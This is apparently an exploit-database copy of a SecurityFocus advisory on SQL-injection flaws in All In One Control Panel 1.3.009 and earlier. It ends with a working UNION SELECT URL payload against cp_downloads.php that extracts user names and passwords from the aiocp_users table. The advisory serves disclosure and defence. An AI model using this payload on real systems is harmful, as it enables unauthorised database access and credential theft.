11 lines
No EOL
756 B
Text
11 lines
No EOL
756 B
Text
source: https://www.securityfocus.com/bid/22032/info
|
|
|
|
All In One Control Panel is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
|
|
|
|
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
|
|
|
|
All In One Control Panel 1.3.009 and prior versions are vulnerable.
|
|
|
|
http://www.example.com/AIOCP/public/code/cp_downloads.php?did=[sql]
|
|
|
|
http://www.example.org/AIOCP/public/code/cp_downloads.php?did='+UNION+SELECT+NULL,NULL,NULL,NULL,user_id,NULL,NULL,user_name,NULL,user_password,NULL,NULL,NULL,NULL,NULL+FROM+aiocp_users+WHERE+user_name<>'Anonymous |